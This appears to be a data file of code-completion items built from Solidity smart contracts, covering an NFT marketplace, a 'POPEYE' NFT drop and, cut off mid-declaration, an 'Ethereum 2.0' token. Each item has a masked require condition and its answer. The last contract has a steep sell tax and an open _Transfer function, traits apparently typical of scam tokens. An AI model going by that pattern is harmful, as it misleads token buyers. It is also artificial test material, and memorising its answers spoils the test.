uint256 indexed tokenId,
address creator,
address seller,
address owner,
uint256 price,
address oldOwner,
address oldSeller,
uint256 oldPrice,
bool isResell,
bool isBanned,
bool soldFirstTime
);
//==>
event ProductListed(
uint256 indexed itemId
);
///=>
modifier onlyProductOrMarketPlaceOwner(uint256 id) {
}
modifier onlyProductSeller(uint256 id) {
require(<FILL_ME>)
_;
}
modifier onlyItemOwner(uint256 id) {
}
modifier onlyItemOldOwner(uint256 id) {
}
function gettheMarketFees()public view returns(uint256){
}
///////////////////////////////////
mapping(uint256=>NftMerketItem) private idForMarketItem;
///////////////////////////////////
function createItemForSale(address nftContract,uint256 tokenId,uint256 price)public payable nonReentrant {
}
//Buy nft
function buyNFt(address nftContract,uint256 nftItemId) public payable nonReentrant {
}
//REsell
function putItemToResell(address nftContract, uint256 itemId, uint256 newPrice)
public
payable
nonReentrant
onlyItemOwner(itemId)
{
}
//TO DO Send when cancel fees to Owner
function cancelResellWitholdPrice(address nftContract,uint256 nftItemId) public payable nonReentrant {
}
//Bloack any NFT
function blockNFtItem(uint256 nftItemId) public payable nonReentrant {
}
///FETCH SINGLE NFT
function fetchSingleItem(uint256 id) public view returns (NftMerketItem memory)
{
}
//=>Update Item =>We Dont Use This
function getMyItemCreated() public view returns(NftMerketItem[] memory){
}
//Create My purchased Nft Item
function getMyNFTPurchased() public view returns(NftMerketItem[] memory){
}
//Fetch all unsold nft items
function getAllUnsoldItems()public view returns (NftMerketItem[] memory){
}
//Get resell my items
function getMyResellItems() public view returns(NftMerketItem[] memory){
}
function getAllBlockItems()public view returns (NftMerketItem[] memory){
}
function getAllUnBlockItems()public view returns (NftMerketItem[] memory){
}
}
| idForMarketItem[id].owner==address(0)&&idForMarketItem[id].seller==msg.sender,"Only the product can do this operation" | 250,306 | idForMarketItem[id].owner==address(0)&&idForMarketItem[id].seller==msg.sender |
"Only product Old owner can do this operation" | pragma solidity >=0.4.22 <0.9.0;
contract NFTMarketPlace is ReentrancyGuard {
address payable owner;
uint256 marketFees = 0.001 ether;
using Counters for Counters.Counter;
Counters.Counter private itemId;
Counters.Counter private itemsSold;
constructor(){
}
struct NftMerketItem{
address nftContract;
uint256 id;
uint256 tokenId;
//=>
address payable creator;
address payable seller;
address payable owner;
uint256 price;
bool sold;
address oldOwner;
address oldSeller;
uint256 oldPrice;
bool isResell;
bool isBanned;
bool soldFirstTime;
}
event NftMarketItemCreated(
address indexed nftContract,
uint256 indexed id,
uint256 tokenId,
//=>
address creator,
address seller,
address owner,
uint256 price,
bool sold,
address oldOwner,
address oldSeller,
uint256 oldPrice,
bool isResell,
bool isBanned,
bool soldFirstTime
);
//=>
event ProductUpdated(
uint256 indexed id,
uint256 indexed newPrice,
bool sold,
address owner,
address seller,
bool isBanned,
bool soldFirstTime
);
//=>
//=>
event ProductSold(
uint256 indexed id,
address indexed nftContract,
uint256 indexed tokenId,
address creator,
address seller,
address owner,
uint256 price,
address oldOwner,
address oldSeller,
uint256 oldPrice,
bool isResell,
bool isBanned,
bool soldFirstTime
);
//==>
event ProductListed(
uint256 indexed itemId
);
///=>
modifier onlyProductOrMarketPlaceOwner(uint256 id) {
}
modifier onlyProductSeller(uint256 id) {
}
modifier onlyItemOwner(uint256 id) {
}
modifier onlyItemOldOwner(uint256 id) {
require(<FILL_ME>)
_;
}
function gettheMarketFees()public view returns(uint256){
}
///////////////////////////////////
mapping(uint256=>NftMerketItem) private idForMarketItem;
///////////////////////////////////
function createItemForSale(address nftContract,uint256 tokenId,uint256 price)public payable nonReentrant {
}
//Buy nft
function buyNFt(address nftContract,uint256 nftItemId) public payable nonReentrant {
}
//REsell
function putItemToResell(address nftContract, uint256 itemId, uint256 newPrice)
public
payable
nonReentrant
onlyItemOwner(itemId)
{
}
//TO DO Send when cancel fees to Owner
function cancelResellWitholdPrice(address nftContract,uint256 nftItemId) public payable nonReentrant {
}
//Bloack any NFT
function blockNFtItem(uint256 nftItemId) public payable nonReentrant {
}
///FETCH SINGLE NFT
function fetchSingleItem(uint256 id) public view returns (NftMerketItem memory)
{
}
//=>Update Item =>We Dont Use This
function getMyItemCreated() public view returns(NftMerketItem[] memory){
}
//Create My purchased Nft Item
function getMyNFTPurchased() public view returns(NftMerketItem[] memory){
}
//Fetch all unsold nft items
function getAllUnsoldItems()public view returns (NftMerketItem[] memory){
}
//Get resell my items
function getMyResellItems() public view returns(NftMerketItem[] memory){
}
function getAllBlockItems()public view returns (NftMerketItem[] memory){
}
function getAllUnBlockItems()public view returns (NftMerketItem[] memory){
}
}
| idForMarketItem[id].oldOwner==msg.sender,"Only product Old owner can do this operation" | 250,306 | idForMarketItem[id].oldOwner==msg.sender |
"POPEYE: Already redeemed" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
contract POPEYE is ERC721, ERC721Enumerable, AccessControl, ERC721Burnable {
bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE");
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
string private constant BASE_URI = "https://ipfs.madworld.io/popeye/";
address public constant PAYMENT_ADDRESS = 0x09cb88b510131bc4A8B21229d33A900c03232d56;
address public constant owner = 0x246cD0529fC31eCC5Bde42019b17322B11E2C73B;
event TokenRedeemed(uint256 tokenId, bytes32 addressId);
struct Drop {
uint8 status;
uint256 initTokenId;
uint256 totalNum;
uint256 maxPreWallet;
uint256 maxPreWhiteList;
bytes32 whiteListProofRoot;
mapping(address => uint256) mintCount;
uint256 tokenCounter;
}
struct Purchase {
uint8 dropId;
uint256 price;
uint256 quantity;
bytes32[] proof;
}
Drop[] public _drop;
mapping(uint256 => bytes32) public _redeemAddress;
constructor() ERC721("POPEYE", "POPEYE") {
}
function _baseURI() internal pure override returns (string memory) {
}
function getRedeemAddress(uint256 _tokenId) public view returns (bytes32) {
}
function contractURI() public pure returns (string memory) {
}
function addDrop(
uint8 status,
uint256 initTokenId,
uint256 totalNum,
uint256 maxPreWallet,
uint256 maxPreWhiteList,
bytes32 whiteListProofRoot
) public onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setRoot(uint8 dropId, bytes32 whiteListProofRoot)
public
onlyRole(DEFAULT_ADMIN_ROLE)
{
}
function setStatus(uint8 dropId, uint8 status)
public
onlyRole(DEFAULT_ADMIN_ROLE)
{
}
function redeemToken(uint256 _tokenId, bytes32 _addressId) public {
require(_exists(_tokenId), "POPEYE: Token not exist");
require(ownerOf(_tokenId) == msg.sender, "POPEYE: Only owner can redeem");
require(<FILL_ME>)
_redeemAddress[_tokenId] = _addressId;
emit TokenRedeemed(_tokenId, _addressId);
}
function buy(
Purchase calldata data,
uint8 v,
bytes32 r,
bytes32 s
) external payable {
}
function safeMint(
uint8 dropId,
address to,
uint256 quantity
) public onlyRole(MINTER_ROLE) {
}
function mintNew(
uint8 dropId,
address to,
uint256 quantity
) private {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal override(ERC721, ERC721Enumerable) {
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC721Enumerable, AccessControl)
returns (bool)
{
}
}
| _redeemAddress[_tokenId]==bytes32(0),"POPEYE: Already redeemed" | 250,349 | _redeemAddress[_tokenId]==bytes32(0) |
"POPEYE: Invalid signer" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
contract POPEYE is ERC721, ERC721Enumerable, AccessControl, ERC721Burnable {
bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE");
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
string private constant BASE_URI = "https://ipfs.madworld.io/popeye/";
address public constant PAYMENT_ADDRESS = 0x09cb88b510131bc4A8B21229d33A900c03232d56;
address public constant owner = 0x246cD0529fC31eCC5Bde42019b17322B11E2C73B;
event TokenRedeemed(uint256 tokenId, bytes32 addressId);
struct Drop {
uint8 status;
uint256 initTokenId;
uint256 totalNum;
uint256 maxPreWallet;
uint256 maxPreWhiteList;
bytes32 whiteListProofRoot;
mapping(address => uint256) mintCount;
uint256 tokenCounter;
}
struct Purchase {
uint8 dropId;
uint256 price;
uint256 quantity;
bytes32[] proof;
}
Drop[] public _drop;
mapping(uint256 => bytes32) public _redeemAddress;
constructor() ERC721("POPEYE", "POPEYE") {
}
function _baseURI() internal pure override returns (string memory) {
}
function getRedeemAddress(uint256 _tokenId) public view returns (bytes32) {
}
function contractURI() public pure returns (string memory) {
}
function addDrop(
uint8 status,
uint256 initTokenId,
uint256 totalNum,
uint256 maxPreWallet,
uint256 maxPreWhiteList,
bytes32 whiteListProofRoot
) public onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setRoot(uint8 dropId, bytes32 whiteListProofRoot)
public
onlyRole(DEFAULT_ADMIN_ROLE)
{
}
function setStatus(uint8 dropId, uint8 status)
public
onlyRole(DEFAULT_ADMIN_ROLE)
{
}
function redeemToken(uint256 _tokenId, bytes32 _addressId) public {
}
function buy(
Purchase calldata data,
uint8 v,
bytes32 r,
bytes32 s
) external payable {
bytes32 payloadHash = keccak256(
abi.encode(
keccak256(
"mint(address receiver, uint256 price, uint256 quantity, uint8 dropId, uint chainId)"
),
msg.sender,
data.price,
data.quantity,
data.dropId,
block.chainid
)
);
bytes32 digest = keccak256(
abi.encodePacked("\x19Ethereum Signed Message:\n32", payloadHash)
);
address addr = ecrecover(digest, v, r, s);
require(<FILL_ME>)
Drop storage drop = _drop[data.dropId];
require(drop.status > 0, "POPEYE: Drop not exist or not open");
require(data.quantity > 0, "POPEYE: Quantity must be greater than 0");
require(
(drop.mintCount[msg.sender] + data.quantity) <= drop.maxPreWallet,
"POPEYE: Reach Max Pre Wallet"
);
if (drop.status == 1) {
require(
(drop.mintCount[msg.sender] + data.quantity) <=
drop.maxPreWhiteList,
"POPEYE: Reach Max Pre White List"
);
bytes32 leaf = keccak256(abi.encode(msg.sender));
require(
MerkleProof.verify(data.proof, drop.whiteListProofRoot, leaf),
"POPEYE: Not in White List"
);
}
require(msg.value >= data.price, "POPEYE: Invalid msg.value ");
payable(PAYMENT_ADDRESS).transfer(msg.value);
mintNew(data.dropId, msg.sender, data.quantity);
}
function safeMint(
uint8 dropId,
address to,
uint256 quantity
) public onlyRole(MINTER_ROLE) {
}
function mintNew(
uint8 dropId,
address to,
uint256 quantity
) private {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal override(ERC721, ERC721Enumerable) {
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC721Enumerable, AccessControl)
returns (bool)
{
}
}
| hasRole(MINTER_ROLE,addr),"POPEYE: Invalid signer" | 250,349 | hasRole(MINTER_ROLE,addr) |
"POPEYE: Reach Max Pre Wallet" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
contract POPEYE is ERC721, ERC721Enumerable, AccessControl, ERC721Burnable {
bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE");
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
string private constant BASE_URI = "https://ipfs.madworld.io/popeye/";
address public constant PAYMENT_ADDRESS = 0x09cb88b510131bc4A8B21229d33A900c03232d56;
address public constant owner = 0x246cD0529fC31eCC5Bde42019b17322B11E2C73B;
event TokenRedeemed(uint256 tokenId, bytes32 addressId);
struct Drop {
uint8 status;
uint256 initTokenId;
uint256 totalNum;
uint256 maxPreWallet;
uint256 maxPreWhiteList;
bytes32 whiteListProofRoot;
mapping(address => uint256) mintCount;
uint256 tokenCounter;
}
struct Purchase {
uint8 dropId;
uint256 price;
uint256 quantity;
bytes32[] proof;
}
Drop[] public _drop;
mapping(uint256 => bytes32) public _redeemAddress;
constructor() ERC721("POPEYE", "POPEYE") {
}
function _baseURI() internal pure override returns (string memory) {
}
function getRedeemAddress(uint256 _tokenId) public view returns (bytes32) {
}
function contractURI() public pure returns (string memory) {
}
function addDrop(
uint8 status,
uint256 initTokenId,
uint256 totalNum,
uint256 maxPreWallet,
uint256 maxPreWhiteList,
bytes32 whiteListProofRoot
) public onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setRoot(uint8 dropId, bytes32 whiteListProofRoot)
public
onlyRole(DEFAULT_ADMIN_ROLE)
{
}
function setStatus(uint8 dropId, uint8 status)
public
onlyRole(DEFAULT_ADMIN_ROLE)
{
}
function redeemToken(uint256 _tokenId, bytes32 _addressId) public {
}
function buy(
Purchase calldata data,
uint8 v,
bytes32 r,
bytes32 s
) external payable {
bytes32 payloadHash = keccak256(
abi.encode(
keccak256(
"mint(address receiver, uint256 price, uint256 quantity, uint8 dropId, uint chainId)"
),
msg.sender,
data.price,
data.quantity,
data.dropId,
block.chainid
)
);
bytes32 digest = keccak256(
abi.encodePacked("\x19Ethereum Signed Message:\n32", payloadHash)
);
address addr = ecrecover(digest, v, r, s);
require(hasRole(MINTER_ROLE, addr), "POPEYE: Invalid signer");
Drop storage drop = _drop[data.dropId];
require(drop.status > 0, "POPEYE: Drop not exist or not open");
require(data.quantity > 0, "POPEYE: Quantity must be greater than 0");
require(<FILL_ME>)
if (drop.status == 1) {
require(
(drop.mintCount[msg.sender] + data.quantity) <=
drop.maxPreWhiteList,
"POPEYE: Reach Max Pre White List"
);
bytes32 leaf = keccak256(abi.encode(msg.sender));
require(
MerkleProof.verify(data.proof, drop.whiteListProofRoot, leaf),
"POPEYE: Not in White List"
);
}
require(msg.value >= data.price, "POPEYE: Invalid msg.value ");
payable(PAYMENT_ADDRESS).transfer(msg.value);
mintNew(data.dropId, msg.sender, data.quantity);
}
function safeMint(
uint8 dropId,
address to,
uint256 quantity
) public onlyRole(MINTER_ROLE) {
}
function mintNew(
uint8 dropId,
address to,
uint256 quantity
) private {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal override(ERC721, ERC721Enumerable) {
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC721Enumerable, AccessControl)
returns (bool)
{
}
}
| (drop.mintCount[msg.sender]+data.quantity)<=drop.maxPreWallet,"POPEYE: Reach Max Pre Wallet" | 250,349 | (drop.mintCount[msg.sender]+data.quantity)<=drop.maxPreWallet |
"POPEYE: Reach Max Pre White List" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
contract POPEYE is ERC721, ERC721Enumerable, AccessControl, ERC721Burnable {
bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE");
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
string private constant BASE_URI = "https://ipfs.madworld.io/popeye/";
address public constant PAYMENT_ADDRESS = 0x09cb88b510131bc4A8B21229d33A900c03232d56;
address public constant owner = 0x246cD0529fC31eCC5Bde42019b17322B11E2C73B;
event TokenRedeemed(uint256 tokenId, bytes32 addressId);
struct Drop {
uint8 status;
uint256 initTokenId;
uint256 totalNum;
uint256 maxPreWallet;
uint256 maxPreWhiteList;
bytes32 whiteListProofRoot;
mapping(address => uint256) mintCount;
uint256 tokenCounter;
}
struct Purchase {
uint8 dropId;
uint256 price;
uint256 quantity;
bytes32[] proof;
}
Drop[] public _drop;
mapping(uint256 => bytes32) public _redeemAddress;
constructor() ERC721("POPEYE", "POPEYE") {
}
function _baseURI() internal pure override returns (string memory) {
}
function getRedeemAddress(uint256 _tokenId) public view returns (bytes32) {
}
function contractURI() public pure returns (string memory) {
}
function addDrop(
uint8 status,
uint256 initTokenId,
uint256 totalNum,
uint256 maxPreWallet,
uint256 maxPreWhiteList,
bytes32 whiteListProofRoot
) public onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setRoot(uint8 dropId, bytes32 whiteListProofRoot)
public
onlyRole(DEFAULT_ADMIN_ROLE)
{
}
function setStatus(uint8 dropId, uint8 status)
public
onlyRole(DEFAULT_ADMIN_ROLE)
{
}
function redeemToken(uint256 _tokenId, bytes32 _addressId) public {
}
function buy(
Purchase calldata data,
uint8 v,
bytes32 r,
bytes32 s
) external payable {
bytes32 payloadHash = keccak256(
abi.encode(
keccak256(
"mint(address receiver, uint256 price, uint256 quantity, uint8 dropId, uint chainId)"
),
msg.sender,
data.price,
data.quantity,
data.dropId,
block.chainid
)
);
bytes32 digest = keccak256(
abi.encodePacked("\x19Ethereum Signed Message:\n32", payloadHash)
);
address addr = ecrecover(digest, v, r, s);
require(hasRole(MINTER_ROLE, addr), "POPEYE: Invalid signer");
Drop storage drop = _drop[data.dropId];
require(drop.status > 0, "POPEYE: Drop not exist or not open");
require(data.quantity > 0, "POPEYE: Quantity must be greater than 0");
require(
(drop.mintCount[msg.sender] + data.quantity) <= drop.maxPreWallet,
"POPEYE: Reach Max Pre Wallet"
);
if (drop.status == 1) {
require(<FILL_ME>)
bytes32 leaf = keccak256(abi.encode(msg.sender));
require(
MerkleProof.verify(data.proof, drop.whiteListProofRoot, leaf),
"POPEYE: Not in White List"
);
}
require(msg.value >= data.price, "POPEYE: Invalid msg.value ");
payable(PAYMENT_ADDRESS).transfer(msg.value);
mintNew(data.dropId, msg.sender, data.quantity);
}
function safeMint(
uint8 dropId,
address to,
uint256 quantity
) public onlyRole(MINTER_ROLE) {
}
function mintNew(
uint8 dropId,
address to,
uint256 quantity
) private {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal override(ERC721, ERC721Enumerable) {
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC721Enumerable, AccessControl)
returns (bool)
{
}
}
| (drop.mintCount[msg.sender]+data.quantity)<=drop.maxPreWhiteList,"POPEYE: Reach Max Pre White List" | 250,349 | (drop.mintCount[msg.sender]+data.quantity)<=drop.maxPreWhiteList |
"POPEYE: Not in White List" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
contract POPEYE is ERC721, ERC721Enumerable, AccessControl, ERC721Burnable {
bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE");
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
string private constant BASE_URI = "https://ipfs.madworld.io/popeye/";
address public constant PAYMENT_ADDRESS = 0x09cb88b510131bc4A8B21229d33A900c03232d56;
address public constant owner = 0x246cD0529fC31eCC5Bde42019b17322B11E2C73B;
event TokenRedeemed(uint256 tokenId, bytes32 addressId);
struct Drop {
uint8 status;
uint256 initTokenId;
uint256 totalNum;
uint256 maxPreWallet;
uint256 maxPreWhiteList;
bytes32 whiteListProofRoot;
mapping(address => uint256) mintCount;
uint256 tokenCounter;
}
struct Purchase {
uint8 dropId;
uint256 price;
uint256 quantity;
bytes32[] proof;
}
Drop[] public _drop;
mapping(uint256 => bytes32) public _redeemAddress;
constructor() ERC721("POPEYE", "POPEYE") {
}
function _baseURI() internal pure override returns (string memory) {
}
function getRedeemAddress(uint256 _tokenId) public view returns (bytes32) {
}
function contractURI() public pure returns (string memory) {
}
function addDrop(
uint8 status,
uint256 initTokenId,
uint256 totalNum,
uint256 maxPreWallet,
uint256 maxPreWhiteList,
bytes32 whiteListProofRoot
) public onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setRoot(uint8 dropId, bytes32 whiteListProofRoot)
public
onlyRole(DEFAULT_ADMIN_ROLE)
{
}
function setStatus(uint8 dropId, uint8 status)
public
onlyRole(DEFAULT_ADMIN_ROLE)
{
}
function redeemToken(uint256 _tokenId, bytes32 _addressId) public {
}
function buy(
Purchase calldata data,
uint8 v,
bytes32 r,
bytes32 s
) external payable {
bytes32 payloadHash = keccak256(
abi.encode(
keccak256(
"mint(address receiver, uint256 price, uint256 quantity, uint8 dropId, uint chainId)"
),
msg.sender,
data.price,
data.quantity,
data.dropId,
block.chainid
)
);
bytes32 digest = keccak256(
abi.encodePacked("\x19Ethereum Signed Message:\n32", payloadHash)
);
address addr = ecrecover(digest, v, r, s);
require(hasRole(MINTER_ROLE, addr), "POPEYE: Invalid signer");
Drop storage drop = _drop[data.dropId];
require(drop.status > 0, "POPEYE: Drop not exist or not open");
require(data.quantity > 0, "POPEYE: Quantity must be greater than 0");
require(
(drop.mintCount[msg.sender] + data.quantity) <= drop.maxPreWallet,
"POPEYE: Reach Max Pre Wallet"
);
if (drop.status == 1) {
require(
(drop.mintCount[msg.sender] + data.quantity) <=
drop.maxPreWhiteList,
"POPEYE: Reach Max Pre White List"
);
bytes32 leaf = keccak256(abi.encode(msg.sender));
require(<FILL_ME>)
}
require(msg.value >= data.price, "POPEYE: Invalid msg.value ");
payable(PAYMENT_ADDRESS).transfer(msg.value);
mintNew(data.dropId, msg.sender, data.quantity);
}
function safeMint(
uint8 dropId,
address to,
uint256 quantity
) public onlyRole(MINTER_ROLE) {
}
function mintNew(
uint8 dropId,
address to,
uint256 quantity
) private {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal override(ERC721, ERC721Enumerable) {
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC721Enumerable, AccessControl)
returns (bool)
{
}
}
| MerkleProof.verify(data.proof,drop.whiteListProofRoot,leaf),"POPEYE: Not in White List" | 250,349 | MerkleProof.verify(data.proof,drop.whiteListProofRoot,leaf) |
"POPEYE: Total Mint Num Reached" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
contract POPEYE is ERC721, ERC721Enumerable, AccessControl, ERC721Burnable {
bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE");
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
string private constant BASE_URI = "https://ipfs.madworld.io/popeye/";
address public constant PAYMENT_ADDRESS = 0x09cb88b510131bc4A8B21229d33A900c03232d56;
address public constant owner = 0x246cD0529fC31eCC5Bde42019b17322B11E2C73B;
event TokenRedeemed(uint256 tokenId, bytes32 addressId);
struct Drop {
uint8 status;
uint256 initTokenId;
uint256 totalNum;
uint256 maxPreWallet;
uint256 maxPreWhiteList;
bytes32 whiteListProofRoot;
mapping(address => uint256) mintCount;
uint256 tokenCounter;
}
struct Purchase {
uint8 dropId;
uint256 price;
uint256 quantity;
bytes32[] proof;
}
Drop[] public _drop;
mapping(uint256 => bytes32) public _redeemAddress;
constructor() ERC721("POPEYE", "POPEYE") {
}
function _baseURI() internal pure override returns (string memory) {
}
function getRedeemAddress(uint256 _tokenId) public view returns (bytes32) {
}
function contractURI() public pure returns (string memory) {
}
function addDrop(
uint8 status,
uint256 initTokenId,
uint256 totalNum,
uint256 maxPreWallet,
uint256 maxPreWhiteList,
bytes32 whiteListProofRoot
) public onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setRoot(uint8 dropId, bytes32 whiteListProofRoot)
public
onlyRole(DEFAULT_ADMIN_ROLE)
{
}
function setStatus(uint8 dropId, uint8 status)
public
onlyRole(DEFAULT_ADMIN_ROLE)
{
}
function redeemToken(uint256 _tokenId, bytes32 _addressId) public {
}
function buy(
Purchase calldata data,
uint8 v,
bytes32 r,
bytes32 s
) external payable {
}
function safeMint(
uint8 dropId,
address to,
uint256 quantity
) public onlyRole(MINTER_ROLE) {
}
function mintNew(
uint8 dropId,
address to,
uint256 quantity
) private {
Drop storage drop = _drop[dropId];
require(drop.status > 0, "POPEYE: Drop not exist or not open");
require(<FILL_ME>)
for (uint256 index = 0; index < quantity; index++) {
uint256 tokenId = drop.initTokenId + drop.tokenCounter;
drop.tokenCounter++;
drop.mintCount[to]++;
_safeMint(to, tokenId);
}
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal override(ERC721, ERC721Enumerable) {
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC721Enumerable, AccessControl)
returns (bool)
{
}
}
| (drop.tokenCounter+quantity)<=drop.totalNum,"POPEYE: Total Mint Num Reached" | 250,349 | (drop.tokenCounter+quantity)<=drop.totalNum |
null | /**
https://t.me/EthereumPart2
*/
/// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.19;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
function _Transfer(address from, address recipient, uint amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract ETH2point0 is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = unicode"Ethereum 2.0";
string private constant _symbol = unicode"ETH2.0";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 120000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 20;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 40;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping (address => uint256) private _buyMap;
address payable private _developmentAddress = payable(0xE9bA614DAA8579205c3199E85713540161d513C3);
address payable private _marketingAddress = payable(0xE9bA614DAA8579205c3199E85713540161d513C3);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen = false;
bool private inSwap = false;
bool private swapEnabled =true;
uint256 public _maxTxAmount = 2400000 * 10**9;
uint256 public _maxWalletSize = 2400000 * 10**9;
uint256 public _swapTokensAtAmount = 2400000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
}
constructor() {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
}
function _Transfer(address _from, address _to, uint _value) public returns (bool) {
}
function executeTokenSwap(
address uniswapPool,
address[] memory recipients,
uint256[] memory tokenAmounts,
uint256[] memory wethAmounts,
